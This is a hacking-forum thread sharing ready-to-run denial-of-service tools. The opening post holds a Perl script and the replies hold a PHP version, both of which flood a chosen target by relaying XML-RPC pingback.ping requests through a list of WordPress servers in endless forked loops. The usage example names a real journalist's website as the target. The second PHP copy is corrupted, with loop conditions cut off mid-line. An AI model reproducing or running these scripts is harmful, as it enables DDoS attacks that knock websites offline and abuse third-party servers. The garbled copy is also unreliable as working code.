• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

Perl XML-RPC Pingback

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,861
Solutions
4
Reputation
32
Reaction score
45,552
Points
1,813
Credits
55,350
‎7 Years of Service‎
 
56%
XML-RPC Pingback (Perl)

perl xml.pl 127.0.01 10000 xmlrpc.txt 3600

[HIDE-THANKS]

Code:
>#!/usr/bin/perl -w
use List::Util qw(min max);
use LWP::UserAgent;
use HTTP::Request::Common;
use Parallel::ForkManager;
use vars qw( $PROG );
( $PROG = $0 ) =~ s/^.*[\/\\]//;
if ( @ARGV == 0 ) {
       print "Usage: ./$PROG [TARGET] [THREADS] [list] [TIMEOUT]\nExample: ./$PROG http://krebsonsecurity.com/ 10000 xmlrpc.txt 10\nList Format: XMLRPC POST\nMade by Vypor\n";
   exit;
}
my $max_processes = $ARGV[1];
my $pm = Parallel::ForkManager->new($max_processes);
my $count = 1;
my $timeout = $ARGV[3];

my $weblist = $ARGV[2];
open my $handle, 'chomp(my @webservers = );
close $handle;

repeat:
for my $webservers (@webservers) {
my @chars = ("a".."z", A..Z, 0..9);
my $random = join '', map { @chars[rand @chars] } 1 .. 8;
my $random2 = join '', map { @chars[rand @chars] } 1 .. 8;

       $count++;
       $max = max $count;
       my $pid = $pm->start and next;
               alarm($timeout);
               my($xmlrpc, $webpost) = split(' ', $webservers, 2);
                       my $target = "$ARGV[0]?$random=$random2";
                       my $userAgent = LWP::UserAgent->new(agent => 'perl post');
                       my $message = "pingback.ping$target$webpost";
                       my $response = $userAgent->request(POST $xmlrpc,
               Content_Type => 'text/xml',
               Content => $message);
print("\rRequests: $max ");
       $pm->finish;

}
$pm->wait_all_children;
goto repeat;
[/HIDE-THANKS]

 
Re: XML-RPC Pingback

this is php code (Layer 7)

Code:
>
<?php

function partition( $list, $p ) {
       $listlen = count( $list );
       $partlen = floor( $listlen / $p );
       $partrem = $listlen % $p;
       $partition = array();
       $mark = 0;
       for ($px = 0; $px < $p; $px++) {
               $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
               $partition[$px] = array_slice( $list, $mark, $incr );
               $mark += $incr;
       }
       return $partition;
}

$part = array();
$array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$childcount = $argv[2];
$part = partition($array, $childcount);

$shm_id = shmop_open(23377332, "c", 0666, 1024);
shmop_close($shm_id);

if(pcntl_fork() == 0)
{
       $sem = sem_get(13377331, 1, 0666, 1);
       $shm_id = shmop_open(23377332, "c", 0666, 1024);
       $total = 0;
       while(true)
       {
               sem_acquire($sem);
               $number = shmop_read($shm_id, 0, 1024);
               $total += $number;
               $string = array();
               array_push($string, $number);
               array_push($string, " R/s ");
               array_push($string, $total);
               array_push($string, " Total Requests                              \r");
               echo implode("", $string);
               unset($string);
               shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
               sem_release($sem);
               sleep(1);
       }

       exit;
}

for($i = 0; $i < $childcount; $i ++)
{
       $pid = pcntl_fork();
       if ($pid == -1) {
               echo "failed to fork on loop $i of forking\n";
               exit;
       } else if ($pid) {
               continue;
       } else {
               $sem = sem_get(13377331, 1, 0666, 1);
               $shm_id = shmop_open(23377332, "c", 0666, 1024);
               while(true)
               {
                       foreach($part[$i] as $ip)
                       {

                               list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
                               $url = array();
                               array_push($url, $argv[1]);
                               array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
                               array_push($url, rand(1000000, 9999999));
                               array_push($url, "=");
                               array_push($url, rand(1000000, 9999999));
                               $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
                               unset($url);
                               $context = stream_context_create(array('http' => array(
                                       'method' => "POST",
                                       'header' => "Content-Type: text/xml",
                                       'content' => $request
                               )));
                               @file_get_contents($service, false, $context);
                               sem_acquire($sem);
                               $number = shmop_read($shm_id, 0, 1024);
                               $number = intval($number);
                               $number++;
                               shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
                               sem_release($sem);
                       }
               }
               die;
       }
}

for($j = 0; $j < $childcount; $j++)
{
       $pid = pcntl_wait($status);
}
 
Last edited by a moderator:
Re: XML-RPC Pingback

this is php code (Layer 7)

Code:
>

function partition( $list, $p ) {
       $listlen = count( $list );
       $partlen = floor( $listlen / $p );
       $partrem = $listlen % $p;
       $partition = array();
       $mark = 0;
       for ($px = 0; $px                 $incr = ($px                 $partition[$px] = array_slice( $list, $mark, $incr );
               $mark += $incr;
       }
       return $partition;
}

$part = array();
$array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$childcount = $argv[2];
$part = partition($array, $childcount);

$shm_id = shmop_open(23377332, "c", 0666, 1024);
shmop_close($shm_id);

if(pcntl_fork() == 0)
{
       $sem = sem_get(13377331, 1, 0666, 1);
       $shm_id = shmop_open(23377332, "c", 0666, 1024);
       $total = 0;
       while(true)
       {
               sem_acquire($sem);
               $number = shmop_read($shm_id, 0, 1024);
               $total += $number;
               $string = array();
               array_push($string, $number);
               array_push($string, " R/s ");
               array_push($string, $total);
               array_push($string, " Total Requests                              \r");
               echo implode("", $string);
               unset($string);
               shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
               sem_release($sem);
               sleep(1);
       }

       exit;
}

for($i = 0; $i {
       $pid = pcntl_fork();
       if ($pid == -1) {
               echo "failed to fork on loop $i of forking\n";
               exit;
       } else if ($pid) {
               continue;
       } else {
               $sem = sem_get(13377331, 1, 0666, 1);
               $shm_id = shmop_open(23377332, "c", 0666, 1024);
               while(true)
               {
                       foreach($part[$i] as $ip)
                       {

                               list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
                               $url = array();
                               array_push($url, $argv[1]);
                               array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
                               array_push($url, rand(1000000, 9999999));
                               array_push($url, "=");
                               array_push($url, rand(1000000, 9999999));
                               $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
                               unset($url);
                               $context = stream_context_create(array('http' => array(
                                       'method' => "POST",
                                       'header' => "Content-Type: text/xml",
                                       'content' => $request
                               )));
                               @file_get_contents($service, false, $context);
                               sem_acquire($sem);
                               $number = shmop_read($shm_id, 0, 1024);
                               $number = intval($number);
                               $number++;
                               shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
                               sem_release($sem);
                       }
               }
               die;
       }
}

for($j = 0; $j {
       $pid = pcntl_wait($status);
}

This was already here >>>
This link is hidden for visitors. Please Log in or register now.


 
Status
Not open for further replies.
Back
Top